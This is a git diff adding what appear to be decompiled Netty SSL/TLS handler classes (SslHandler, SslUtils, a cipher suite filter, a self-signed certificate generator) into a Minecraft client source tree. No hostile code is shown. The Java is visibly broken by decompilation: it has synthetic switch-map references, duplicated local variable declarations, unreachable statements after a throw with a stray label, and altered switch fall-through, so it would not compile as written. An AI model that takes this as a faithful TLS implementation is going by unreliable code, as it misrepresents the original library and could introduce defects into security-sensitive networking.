+    if (!pendingUnencryptedWrites.isEmpty())
+    {
+      pendingUnencryptedWrites.removeAndFailAll(new ChannelException("Pending write on removal of SslHandler"));
+    }
+  }
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise) throws Exception
+  {
+    ctx.bind(localAddress, promise);
+  }
+  
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.connect(remoteAddress, localAddress, promise);
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.deregister(promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    closeOutboundAndChannel(ctx, promise, true);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    closeOutboundAndChannel(ctx, promise, false);
+  }
+  
+  public void read(ChannelHandlerContext ctx)
+  {
+    ctx.read();
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    pendingUnencryptedWrites.add(msg, promise);
+  }
+  
+
+  public void flush(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if ((startTls) && (!sentFirstMessage)) {
+      sentFirstMessage = true;
+      pendingUnencryptedWrites.removeAndWriteAll();
+      ctx.flush();
+      return;
+    }
+    if (pendingUnencryptedWrites.isEmpty()) {
+      pendingUnencryptedWrites.add(Unpooled.EMPTY_BUFFER, ctx.voidPromise());
+    }
+    if (!handshakePromise.isDone()) {
+      flushedBeforeHandshakeDone = true;
+    }
+    wrap(ctx, false);
+    ctx.flush();
+  }
+  
+  private void wrap(ChannelHandlerContext ctx, boolean inUnwrap) throws SSLException {
+    ByteBuf out = null;
+    ChannelPromise promise = null;
+    try {
+      for (;;) {
+        Object msg = pendingUnencryptedWrites.current();
+        if (msg == null) {
+          break;
+        }
+        
+        if (!(msg instanceof ByteBuf)) {
+          pendingUnencryptedWrites.removeAndWrite();
+        }
+        else
+        {
+          ByteBuf buf = (ByteBuf)msg;
+          if (out == null) {
+            out = allocateOutNetBuf(ctx, buf.readableBytes());
+          }
+          
+          SSLEngineResult result = wrap(engine, buf, out);
+          
+          if (!buf.isReadable()) {
+            promise = pendingUnencryptedWrites.remove();
+          } else {
+            promise = null;
+          }
+          
+          if (result.getStatus() == SSLEngineResult.Status.CLOSED)
+          {
+
+            pendingUnencryptedWrites.removeAndFailAll(SSLENGINE_CLOSED); return;
+          }
+          
+          switch (8.$SwitchMap$javax$net$ssl$SSLEngineResult$HandshakeStatus[result.getHandshakeStatus().ordinal()]) {
+          case 1: 
+            runDelegatedTasks();
+            break;
+          case 2: 
+            setHandshakeSuccess();
+          
+          case 3: 
+            setHandshakeSuccessIfStillHandshaking();
+          
+          case 4: 
+            finishWrap(ctx, out, promise, inUnwrap);
+            promise = null;
+            out = null;
+            break;
+          case 5: 
+            return;
+          default: 
+            throw new IllegalStateException("Unknown handshake status: " + result.getHandshakeStatus());
+          }
+        }
+      }
+    }
+    catch (SSLException e) {
+      setHandshakeFailure(e);
+      throw e;
+    } finally {
+      finishWrap(ctx, out, promise, inUnwrap);
+    }
+  }
+  
+  private void finishWrap(ChannelHandlerContext ctx, ByteBuf out, ChannelPromise promise, boolean inUnwrap) {
+    if (out == null) {
+      out = Unpooled.EMPTY_BUFFER;
+    } else if (!out.isReadable()) {
+      out.release();
+      out = Unpooled.EMPTY_BUFFER;
+    }
+    
+    if (promise != null) {
+      ctx.write(out, promise);
+    } else {
+      ctx.write(out);
+    }
+    
+    if (inUnwrap) {
+      needsFlush = true;
+    }
+  }
+  
+  private void wrapNonAppData(ChannelHandlerContext ctx, boolean inUnwrap) throws SSLException {
+    ByteBuf out = null;
+    try {
+      for (;;) {
+        if (out == null) {
+          out = allocateOutNetBuf(ctx, 0);
+        }
+        SSLEngineResult result = wrap(engine, Unpooled.EMPTY_BUFFER, out);
+        
+        if (result.bytesProduced() > 0) {
+          ctx.write(out);
+          if (inUnwrap) {
+            needsFlush = true;
+          }
+          out = null;
+        }
+        
+        switch (8.$SwitchMap$javax$net$ssl$SSLEngineResult$HandshakeStatus[result.getHandshakeStatus().ordinal()]) {
+        case 2: 
+          setHandshakeSuccess();
+          break;
+        case 1: 
+          runDelegatedTasks();
+          break;
+        case 5: 
+          if (!inUnwrap) {
+            unwrapNonAppData(ctx);
+          }
+          break;
+        case 4: 
+          break;
+        case 3: 
+          setHandshakeSuccessIfStillHandshaking();
+          
+
+          if (!inUnwrap) {
+            unwrapNonAppData(ctx);
+          }
+          break;
+        default: 
+          throw new IllegalStateException("Unknown handshake status: " + result.getHandshakeStatus());
+        }
+        
+        if (result.bytesProduced() == 0) {
+          break;
+        }
+      }
+    } catch (SSLException e) {
+      setHandshakeFailure(e);
+      throw e;
+    } finally {
+      if (out != null) {
+        out.release();
+      }
+    }
+  }
+  
+  private SSLEngineResult wrap(SSLEngine engine, ByteBuf in, ByteBuf out) throws SSLException {
+    ByteBuffer in0 = in.nioBuffer();
+    if (!in0.isDirect()) {
+      ByteBuffer newIn0 = ByteBuffer.allocateDirect(in0.remaining());
+      newIn0.put(in0).flip();
+      in0 = newIn0;
+    }
+    for (;;)
+    {
+      ByteBuffer out0 = out.nioBuffer(out.writerIndex(), out.writableBytes());
+      SSLEngineResult result = engine.wrap(in0, out0);
+      in.skipBytes(result.bytesConsumed());
+      out.writerIndex(out.writerIndex() + result.bytesProduced());
+      
+      switch (result.getStatus()) {
+      case BUFFER_OVERFLOW: 
+        out.ensureWritable(maxPacketBufferSize);
+        break;
+      default: 
+        return result;
+      }
+      
+    }
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    setHandshakeFailure(CHANNEL_CLOSED);
+    super.channelInactive(ctx);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    if (ignoreException(cause))
+    {
+
+      if (logger.isDebugEnabled()) {
+        logger.debug("Swallowing a harmless 'connection reset by peer / broken pipe' error that occurred while writing close_notify in response to the peer's close_notify", cause);
+      }
+      
+
+
+
+
+      if (ctx.channel().isActive()) {
+        ctx.close();
+      }
+    } else {
+      ctx.fireExceptionCaught(cause);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private boolean ignoreException(Throwable t)
+  {
+    if ((!(t instanceof SSLException)) && ((t instanceof IOException)) && (sslCloseFuture.isDone())) {
+      String message = String.valueOf(t.getMessage()).toLowerCase();
+      
+
+
+      if (IGNORABLE_ERROR_MESSAGE.matcher(message).matches()) {
+        return true;
+      }
+      
+
+      StackTraceElement[] elements = t.getStackTrace();
+      for (StackTraceElement element : elements) {
+        String classname = element.getClassName();
+        String methodname = element.getMethodName();
+        
+
+        if (!classname.startsWith("io.netty."))
+        {
+
+
+
+          if ("read".equals(methodname))
+          {
+
+
+
+
+            if (IGNORABLE_CLASS_IN_STACK.matcher(classname).matches()) {
+              return true;
+            }
+            
+
+
+            try
+            {
+              Class<?> clazz = PlatformDependent.getClassLoader(getClass()).loadClass(classname);
+              
+              if ((SocketChannel.class.isAssignableFrom(clazz)) || (DatagramChannel.class.isAssignableFrom(clazz)))
+              {
+                return true;
+              }
+              
+
+              if ((PlatformDependent.javaVersion() >= 7) && ("com.sun.nio.sctp.SctpChannel".equals(clazz.getSuperclass().getName())))
+              {
+                return true;
+              }
+            }
+            catch (ClassNotFoundException e) {}
+          }
+        }
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isEncrypted(ByteBuf buffer)
+  {
+    if (buffer.readableBytes() < 5) {
+      throw new IllegalArgumentException("buffer must have at least 5 readable bytes");
+    }
+    return getEncryptedPacketLength(buffer, buffer.readerIndex()) != -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int getEncryptedPacketLength(ByteBuf buffer, int offset)
+  {
+    int packetLength = 0;
+    
+    boolean tls;
+    
+    switch (buffer.getUnsignedByte(offset)) {
+    case 20: 
+    case 21: 
+    case 22: 
+    case 23: 
+      tls = true;
+      break;
+    
+    default: 
+      tls = false;
+    }
+    
+    if (tls)
+    {
+      int majorVersion = buffer.getUnsignedByte(offset + 1);
+      if (majorVersion == 3)
+      {
+        packetLength = buffer.getUnsignedShort(offset + 3) + 5;
+        if (packetLength <= 5)
+        {
+          tls = false;
+        }
+      }
+      else {
+        tls = false;
+      }
+    }
+    
+    if (!tls)
+    {
+      boolean sslv2 = true;
+      int headerLength = (buffer.getUnsignedByte(offset) & 0x80) != 0 ? 2 : 3;
+      int majorVersion = buffer.getUnsignedByte(offset + headerLength + 1);
+      if ((majorVersion == 2) || (majorVersion == 3))
+      {
+        if (headerLength == 2) {
+          packetLength = (buffer.getShort(offset) & 0x7FFF) + 2;
+        } else {
+          packetLength = (buffer.getShort(offset) & 0x3FFF) + 3;
+        }
+        if (packetLength <= headerLength) {
+          sslv2 = false;
+        }
+      } else {
+        sslv2 = false;
+      }
+      
+      if (!sslv2) {
+        return -1;
+      }
+    }
+    return packetLength;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws SSLException
+  {
+    int startOffset = in.readerIndex();
+    int endOffset = in.writerIndex();
+    int offset = startOffset;
+    int totalLength = 0;
+    
+
+    if (this.packetLength > 0) {
+      if (endOffset - startOffset < this.packetLength) {
+        return;
+      }
+      offset += this.packetLength;
+      totalLength = this.packetLength;
+      this.packetLength = 0;
+    }
+    
+
+    boolean nonSslRecord = false;
+    
+    while (totalLength < 18713) {
+      int readableBytes = endOffset - offset;
+      if (readableBytes < 5) {
+        break;
+      }
+      
+      int packetLength = getEncryptedPacketLength(in, offset);
+      if (packetLength == -1) {
+        nonSslRecord = true;
+        break;
+      }
+      
+      assert (packetLength > 0);
+      
+      if (packetLength > readableBytes)
+      {
+        this.packetLength = packetLength;
+        break;
+      }
+      
+      int newTotalLength = totalLength + packetLength;
+      if (newTotalLength > 18713) {
+        break;
+      }
+      
+
+
+
+      offset += packetLength;
+      totalLength = newTotalLength;
+    }
+    
+    if (totalLength > 0)
+    {
+
+
+
+
+
+
+
+
+
+
+      in.skipBytes(totalLength);
+      ByteBuffer inNetBuf = in.nioBuffer(startOffset, totalLength);
+      unwrap(ctx, inNetBuf, totalLength);
+      assert ((!inNetBuf.hasRemaining()) || (engine.isInboundDone()));
+    }
+    
+    if (nonSslRecord)
+    {
+      NotSslRecordException e = new NotSslRecordException("not an SSL/TLS record: " + ByteBufUtil.hexDump(in));
+      
+      in.skipBytes(in.readableBytes());
+      ctx.fireExceptionCaught(e);
+      setHandshakeFailure(e);
+    }
+  }
+  
+  public void channelReadComplete(ChannelHandlerContext ctx) throws Exception
+  {
+    if (needsFlush) {
+      needsFlush = false;
+      ctx.flush();
+    }
+    super.channelReadComplete(ctx);
+  }
+  
+
+  private void unwrapNonAppData(ChannelHandlerContext ctx)
+    throws SSLException
+  {
+    unwrap(ctx, Unpooled.EMPTY_BUFFER.nioBuffer(), 0);
+  }
+  
+
+
+
+
+
+
+  private void unwrap(ChannelHandlerContext ctx, ByteBuffer packet, int initialOutAppBufCapacity)
+    throws SSLException
+  {
+    int oldPos = packet.position();
+    ByteBuffer oldPacket; ByteBuf newPacket; if ((wantsInboundHeapBuffer) && (packet.isDirect())) {
+      ByteBuf newPacket = ctx.alloc().heapBuffer(packet.limit() - oldPos);
+      newPacket.writeBytes(packet);
+      ByteBuffer oldPacket = packet;
+      packet = newPacket.nioBuffer();
+    } else {
+      oldPacket = null;
+      newPacket = null;
+    }
+    
+    boolean wrapLater = false;
+    ByteBuf decodeOut = allocate(ctx, initialOutAppBufCapacity);
+    try {
+      for (;;) {
+        SSLEngineResult result = unwrap(engine, packet, decodeOut);
+        SSLEngineResult.Status status = result.getStatus();
+        SSLEngineResult.HandshakeStatus handshakeStatus = result.getHandshakeStatus();
+        int produced = result.bytesProduced();
+        int consumed = result.bytesConsumed();
+        
+        if (status == SSLEngineResult.Status.CLOSED)
+        {
+          sslCloseFuture.trySuccess(ctx.channel());
+        }
+        else
+        {
+          switch (8.$SwitchMap$javax$net$ssl$SSLEngineResult$HandshakeStatus[handshakeStatus.ordinal()]) {
+          case 5: 
+            break;
+          case 4: 
+            wrapNonAppData(ctx, true);
+            break;
+          case 1: 
+            runDelegatedTasks();
+            break;
+          case 2: 
+            setHandshakeSuccess();
+            wrapLater = true;
+            break;
+          case 3: 
+            if (setHandshakeSuccessIfStillHandshaking()) {
+              wrapLater = true;
+
+            }
+            else if (flushedBeforeHandshakeDone)
+            {
+
+
+              flushedBeforeHandshakeDone = false;
+              wrapLater = true;
+            }
+            
+            break;
+          default: 
+            throw new IllegalStateException("Unknown handshake status: " + handshakeStatus);
+            
+
+            if ((status == SSLEngineResult.Status.BUFFER_UNDERFLOW) || ((consumed == 0) && (produced == 0)))
+              break label296;
+          } }
+      }
+      label296:
+      if (wrapLater) {
+        wrap(ctx, true);
+      }
+    } catch (SSLException e) {
+      setHandshakeFailure(e);
+      throw e;
+    }
+    finally
+    {
+      if (newPacket != null) {
+        oldPacket.position(oldPos + packet.position());
+        newPacket.release();
+      }
+      
+      if (decodeOut.isReadable()) {
+        ctx.fireChannelRead(decodeOut);
+      } else {
+        decodeOut.release();
+      }
+    }
+  }
+  
+  private static SSLEngineResult unwrap(SSLEngine engine, ByteBuffer in, ByteBuf out) throws SSLException {
+    int overflows = 0;
+    for (;;) {
+      ByteBuffer out0 = out.nioBuffer(out.writerIndex(), out.writableBytes());
+      SSLEngineResult result = engine.unwrap(in, out0);
+      out.writerIndex(out.writerIndex() + result.bytesProduced());
+      switch (result.getStatus()) {
+      case BUFFER_OVERFLOW: 
+        int max = engine.getSession().getApplicationBufferSize();
+        switch (overflows++) {
+        case 0: 
+          out.ensureWritable(Math.min(max, in.remaining()));
+          break;
+        default: 
+          out.ensureWritable(max);
+        }
+        break;
+      default: 
+        return result;
+      }
+      
+    }
+  }
+  
+
+
+
+
+  private void runDelegatedTasks()
+  {
+    if (delegatedTaskExecutor == ImmediateExecutor.INSTANCE) {
+      for (;;) {
+        Runnable task = engine.getDelegatedTask();
+        if (task == null) {
+          break;
+        }
+        
+        task.run();
+      }
+    }
+    final List<Runnable> tasks = new ArrayList(2);
+    for (;;) {
+      Runnable task = engine.getDelegatedTask();
+      if (task == null) {
+        break;
+      }
+      
+      tasks.add(task);
+    }
+    
+    if (tasks.isEmpty()) {
+      return;
+    }
+    
+    final CountDownLatch latch = new CountDownLatch(1);
+    delegatedTaskExecutor.execute(new Runnable()
+    {
+      public void run() {
+        try {
+          for (Runnable task : tasks) {
+            task.run();
+          }
+        } catch (Exception e) {
+          ctx.fireExceptionCaught(e);
+        } finally {
+          latch.countDown();
+        }
+        
+      }
+    });
+    boolean interrupted = false;
+    while (latch.getCount() != 0L) {
+      try {
+        latch.await();
+      }
+      catch (InterruptedException e) {
+        interrupted = true;
+      }
+    }
+    
+    if (interrupted) {
+      Thread.currentThread().interrupt();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private boolean setHandshakeSuccessIfStillHandshaking()
+  {
+    if (!handshakePromise.isDone()) {
+      setHandshakeSuccess();
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+  private void setHandshakeSuccess()
+  {
+    String cipherSuite = String.valueOf(engine.getSession().getCipherSuite());
+    if ((!wantsDirectBuffer) && ((cipherSuite.contains("_GCM_")) || (cipherSuite.contains("-GCM-")))) {
+      wantsInboundHeapBuffer = true;
+    }
+    
+    if (handshakePromise.trySuccess(ctx.channel())) {
+      if (logger.isDebugEnabled()) {
+        logger.debug(ctx.channel() + " HANDSHAKEN: " + engine.getSession().getCipherSuite());
+      }
+      ctx.fireUserEventTriggered(SslHandshakeCompletionEvent.SUCCESS);
+    }
+  }
+  
+
+
+
+
+  private void setHandshakeFailure(Throwable cause)
+  {
+    engine.closeOutbound();
+    try
+    {
+      engine.closeInbound();
+
+    }
+    catch (SSLException e)
+    {
+
+      String msg = e.getMessage();
+      if ((msg == null) || (!msg.contains("possible truncation attack"))) {
+        logger.debug("SSLEngine.closeInbound() raised an exception.", e);
+      }
+    }
+    notifyHandshakeFailure(cause);
+    pendingUnencryptedWrites.removeAndFailAll(cause);
+  }
+  
+  private void notifyHandshakeFailure(Throwable cause) {
+    if (handshakePromise.tryFailure(cause)) {
+      ctx.fireUserEventTriggered(new SslHandshakeCompletionEvent(cause));
+      ctx.close();
+    }
+  }
+  
+  private void closeOutboundAndChannel(ChannelHandlerContext ctx, ChannelPromise promise, boolean disconnect) throws Exception
+  {
+    if (!ctx.channel().isActive()) {
+      if (disconnect) {
+        ctx.disconnect(promise);
+      } else {
+        ctx.close(promise);
+      }
+      return;
+    }
+    
+    engine.closeOutbound();
+    
+    ChannelPromise closeNotifyFuture = ctx.newPromise();
+    write(ctx, Unpooled.EMPTY_BUFFER, closeNotifyFuture);
+    flush(ctx);
+    safeClose(ctx, closeNotifyFuture, promise);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+    pendingUnencryptedWrites = new PendingWriteQueue(ctx);
+    
+    if ((ctx.channel().isActive()) && (engine.getUseClientMode()))
+    {
+
+      handshake();
+    }
+  }
+  
+
+  private Future<Channel> handshake()
+  {
+    ScheduledFuture<?> timeoutFuture;
+    final ScheduledFuture<?> timeoutFuture;
+    if (handshakeTimeoutMillis > 0L) {
+      timeoutFuture = ctx.executor().schedule(new Runnable()
+      {
+        public void run() {
+          if (handshakePromise.isDone()) {
+            return;
+          }
+          SslHandler.this.notifyHandshakeFailure(SslHandler.HANDSHAKE_TIMED_OUT); } }, handshakeTimeoutMillis, TimeUnit.MILLISECONDS);
+    }
+    else
+    {
+      timeoutFuture = null;
+    }
+    
+    handshakePromise.addListener(new GenericFutureListener()
+    {
+      public void operationComplete(Future<Channel> f) throws Exception {
+        if (timeoutFuture != null) {
+          timeoutFuture.cancel(false);
+        }
+      }
+    });
+    try {
+      engine.beginHandshake();
+      wrapNonAppData(ctx, false);
+      ctx.flush();
+    } catch (Exception e) {
+      notifyHandshakeFailure(e);
+    }
+    return handshakePromise;
+  }
+  
+
+
+  public void channelActive(final ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if ((!startTls) && (engine.getUseClientMode()))
+    {
+
+      handshake().addListener(new GenericFutureListener()
+      {
+        public void operationComplete(Future<Channel> future) throws Exception {
+          if (!future.isSuccess()) {
+            SslHandler.logger.debug("Failed to complete handshake", future.cause());
+            ctx.close();
+          }
+        }
+      });
+    }
+    ctx.fireChannelActive();
+  }
+  
+
+  private void safeClose(final ChannelHandlerContext ctx, ChannelFuture flushFuture, final ChannelPromise promise)
+  {
+    if (!ctx.channel().isActive()) {
+      ctx.close(promise); return;
+    }
+    
+    ScheduledFuture<?> timeoutFuture;
+    final ScheduledFuture<?> timeoutFuture;
+    if (closeNotifyTimeoutMillis > 0L)
+    {
+      timeoutFuture = ctx.executor().schedule(new Runnable()
+      {
+        public void run() {
+          SslHandler.logger.warn(ctx.channel() + " last write attempt timed out." + " Force-closing the connection.");
+          
+
+          ctx.close(promise); } }, closeNotifyTimeoutMillis, TimeUnit.MILLISECONDS);
+    }
+    else
+    {
+      timeoutFuture = null;
+    }
+    
+
+    flushFuture.addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture f) throws Exception
+      {
+        if (timeoutFuture != null) {
+          timeoutFuture.cancel(false);
+        }
+        
+
+        ctx.close(promise);
+      }
+    });
+  }
+  
+
+
+
+  private ByteBuf allocate(ChannelHandlerContext ctx, int capacity)
+  {
+    ByteBufAllocator alloc = ctx.alloc();
+    if (wantsDirectBuffer) {
+      return alloc.directBuffer(capacity);
+    }
+    return alloc.buffer(capacity);
+  }
+  
+
+
+
+
+  private ByteBuf allocateOutNetBuf(ChannelHandlerContext ctx, int pendingBytes)
+  {
+    if (wantsLargeOutboundNetworkBuffer) {
+      return allocate(ctx, maxPacketBufferSize);
+    }
+    return allocate(ctx, Math.min(pendingBytes + 2329, maxPacketBufferSize));
+  }
+  
+  private final class LazyChannelPromise
+    extends DefaultPromise<Channel>
+  {
+    private LazyChannelPromise() {}
+    
+    protected EventExecutor executor()
+    {
+      if (ctx == null) {
+        throw new IllegalStateException();
+      }
+      return ctx.executor();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SslHandshakeCompletionEvent.java b/src/minecraft/io/netty/handler/ssl/SslHandshakeCompletionEvent.java
new file mode 100644
index 0000000..fc56812
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SslHandshakeCompletionEvent.java
@@ -0,0 +1,61 @@
+package io.netty.handler.ssl;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SslHandshakeCompletionEvent
+{
+  public static final SslHandshakeCompletionEvent SUCCESS = new SslHandshakeCompletionEvent();
+  
+
+  private final Throwable cause;
+  
+
+  private SslHandshakeCompletionEvent()
+  {
+    cause = null;
+  }
+  
+
+
+
+  public SslHandshakeCompletionEvent(Throwable cause)
+  {
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    this.cause = cause;
+  }
+  
+
+
+  public boolean isSuccess()
+  {
+    return cause == null;
+  }
+  
+
+
+
+  public Throwable cause()
+  {
+    return cause;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SslParametersUtils.java b/src/minecraft/io/netty/handler/ssl/SslParametersUtils.java
new file mode 100644
index 0000000..a1925e2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SslParametersUtils.java
@@ -0,0 +1,35 @@
+package io.netty.handler.ssl;
+
+import java.security.AlgorithmConstraints;
+import javax.net.ssl.SSLParameters;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SslParametersUtils
+{
+  private SslParametersUtils() {}
+  
+  static void setAlgorithmConstraints(SSLParameters sslParameters, Object algorithmConstraints)
+  {
+    sslParameters.setAlgorithmConstraints((AlgorithmConstraints)algorithmConstraints);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SslProvider.java b/src/minecraft/io/netty/handler/ssl/SslProvider.java
new file mode 100644
index 0000000..311fa4f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SslProvider.java
@@ -0,0 +1,8 @@
+package io.netty.handler.ssl;
+
+public enum SslProvider
+{
+  JDK,  OPENSSL;
+  
+  private SslProvider() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SslUtils.java b/src/minecraft/io/netty/handler/ssl/SslUtils.java
new file mode 100644
index 0000000..acd6797
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SslUtils.java
@@ -0,0 +1,161 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.base64.Base64;
+import io.netty.handler.codec.base64.Base64Dialect;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SslUtils
+{
+  public static final int SSL_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20;
+  public static final int SSL_CONTENT_TYPE_ALERT = 21;
+  public static final int SSL_CONTENT_TYPE_HANDSHAKE = 22;
+  public static final int SSL_CONTENT_TYPE_APPLICATION_DATA = 23;
+  public static final int SSL_RECORD_HEADER_LENGTH = 5;
+  
+  static int getEncryptedPacketLength(ByteBuf buffer, int offset)
+  {
+    int packetLength = 0;
+    
+    boolean tls;
+    boolean tls;
+    switch (buffer.getUnsignedByte(offset)) {
+    case 20: 
+    case 21: 
+    case 22: 
+    case 23: 
+      tls = true;
+      break;
+    
+    default: 
+      tls = false;
+    }
+    
+    if (tls)
+    {
+      int majorVersion = buffer.getUnsignedByte(offset + 1);
+      if (majorVersion == 3)
+      {
+        packetLength = buffer.getUnsignedShort(offset + 3) + 5;
+        if (packetLength <= 5)
+        {
+          tls = false;
+        }
+      }
+      else {
+        tls = false;
+      }
+    }
+    
+    if (!tls)
+    {
+      int headerLength = (buffer.getUnsignedByte(offset) & 0x80) != 0 ? 2 : 3;
+      int majorVersion = buffer.getUnsignedByte(offset + headerLength + 1);
+      if ((majorVersion == 2) || (majorVersion == 3))
+      {
+        if (headerLength == 2) {
+          packetLength = (buffer.getShort(offset) & 0x7FFF) + 2;
+        } else {
+          packetLength = (buffer.getShort(offset) & 0x3FFF) + 3;
+        }
+        if (packetLength <= headerLength) {
+          return -1;
+        }
+      } else {
+        return -1;
+      }
+    }
+    return packetLength;
+  }
+  
+
+  static void notifyHandshakeFailure(ChannelHandlerContext ctx, Throwable cause)
+  {
+    ctx.flush();
+    ctx.fireUserEventTriggered(new SslHandshakeCompletionEvent(cause));
+    ctx.close();
+  }
+  
+
+
+  static void zeroout(ByteBuf buffer)
+  {
+    if (!buffer.isReadOnly()) {
+      buffer.setZero(0, buffer.capacity());
+    }
+  }
+  
+
+
+  static void zerooutAndRelease(ByteBuf buffer)
+  {
+    zeroout(buffer);
+    buffer.release();
+  }
+  
+
+
+
+
+  static ByteBuf toBase64(ByteBufAllocator allocator, ByteBuf src)
+  {
+    ByteBuf dst = Base64.encode(src, src.readerIndex(), src.readableBytes(), true, Base64Dialect.STANDARD, allocator);
+    
+    src.readerIndex(src.writerIndex());
+    return dst;
+  }
+  
+  private SslUtils() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SupportedCipherSuiteFilter.java b/src/minecraft/io/netty/handler/ssl/SupportedCipherSuiteFilter.java
new file mode 100644
index 0000000..8d68e46
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SupportedCipherSuiteFilter.java
@@ -0,0 +1,59 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SupportedCipherSuiteFilter
+  implements CipherSuiteFilter
+{
+  public static final SupportedCipherSuiteFilter INSTANCE = new SupportedCipherSuiteFilter();
+  
+
+  private SupportedCipherSuiteFilter() {}
+  
+  public String[] filterCipherSuites(Iterable<String> ciphers, List<String> defaultCiphers, Set<String> supportedCiphers)
+  {
+    if (defaultCiphers == null) {
+      throw new NullPointerException("defaultCiphers");
+    }
+    if (supportedCiphers == null) {
+      throw new NullPointerException("supportedCiphers");
+    }
+    
+    List<String> newCiphers;
+    if (ciphers == null) {
+      List<String> newCiphers = InternalThreadLocalMap.get().arrayList(defaultCiphers.size());
+      ciphers = defaultCiphers;
+    } else {
+      newCiphers = InternalThreadLocalMap.get().arrayList(supportedCiphers.size());
+    }
+    for (String c : ciphers) {
+      if (c == null) {
+        break;
+      }
+      if (supportedCiphers.contains(c)) {
+        newCiphers.add(c);
+      }
+    }
+    return (String[])newCiphers.toArray(new String[newCiphers.size()]);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/BouncyCastleSelfSignedCertGenerator.java b/src/minecraft/io/netty/handler/ssl/util/BouncyCastleSelfSignedCertGenerator.java
new file mode 100644
index 0000000..fa7eb44
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/BouncyCastleSelfSignedCertGenerator.java
@@ -0,0 +1,61 @@
+package io.netty.handler.ssl.util;
+
+import java.math.BigInteger;
+import java.security.KeyPair;
+import java.security.PrivateKey;
+import java.security.Provider;
+import java.security.SecureRandom;
+import java.security.cert.X509Certificate;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.cert.X509CertificateHolder;
+import org.bouncycastle.cert.X509v3CertificateBuilder;
+import org.bouncycastle.cert.jcajce.JcaX509CertificateConverter;
+import org.bouncycastle.cert.jcajce.JcaX509v3CertificateBuilder;
+import org.bouncycastle.jce.provider.BouncyCastleProvider;
+import org.bouncycastle.operator.ContentSigner;
+import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class BouncyCastleSelfSignedCertGenerator
+{
+  private static final Provider PROVIDER = new BouncyCastleProvider();
+  
+  static String[] generate(String fqdn, KeyPair keypair, SecureRandom random) throws Exception {
+    PrivateKey key = keypair.getPrivate();
+    
+
+    X500Name owner = new X500Name("CN=" + fqdn);
+    X509v3CertificateBuilder builder = new JcaX509v3CertificateBuilder(owner, new BigInteger(64, random), SelfSignedCertificate.NOT_BEFORE, SelfSignedCertificate.NOT_AFTER, owner, keypair.getPublic());
+    
+
+    ContentSigner signer = new JcaContentSignerBuilder("SHA256WithRSAEncryption").build(key);
+    X509CertificateHolder certHolder = builder.build(signer);
+    X509Certificate cert = new JcaX509CertificateConverter().setProvider(PROVIDER).getCertificate(certHolder);
+    cert.verify(keypair.getPublic());
+    
+    return SelfSignedCertificate.newSelfSignedCertificate(fqdn, key, cert);
+  }
+  
+  private BouncyCastleSelfSignedCertGenerator() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/FingerprintTrustManagerFactory.java b/src/minecraft/io/netty/handler/ssl/util/FingerprintTrustManagerFactory.java
new file mode 100644
index 0000000..02ebcce
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/FingerprintTrustManagerFactory.java
@@ -0,0 +1,208 @@
+package io.netty.handler.ssl.util;
+
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.util.concurrent.FastThreadLocal;
+import io.netty.util.internal.EmptyArrays;
+import java.security.KeyStore;
+import java.security.MessageDigest;
